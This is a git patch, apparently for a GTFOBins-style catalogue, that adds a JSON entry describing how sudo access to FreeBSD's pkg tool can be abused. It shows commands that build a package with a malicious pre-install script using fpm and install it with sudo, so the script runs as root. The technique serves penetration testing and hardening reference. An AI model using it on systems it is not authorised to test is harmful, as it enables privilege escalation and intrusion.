From 58e9ac6a315d662a2605c2a833f9caa8524c70f5 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 11 Apr 2021 09:15:20 +0200 Subject: [PATCH] add data source for pkg --- data/pkg.json | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 data/pkg.json diff --git a/data/pkg.json b/data/pkg.json new file mode 100644 index 0000000..fc2952d --- /dev/null +++ b/data/pkg.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "It runs commands using a specially crafted FreeBSD package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```", + "code": "sudo pkg install -y --no-repo-update ./x-1.0.txz\n" + } + ] + } +}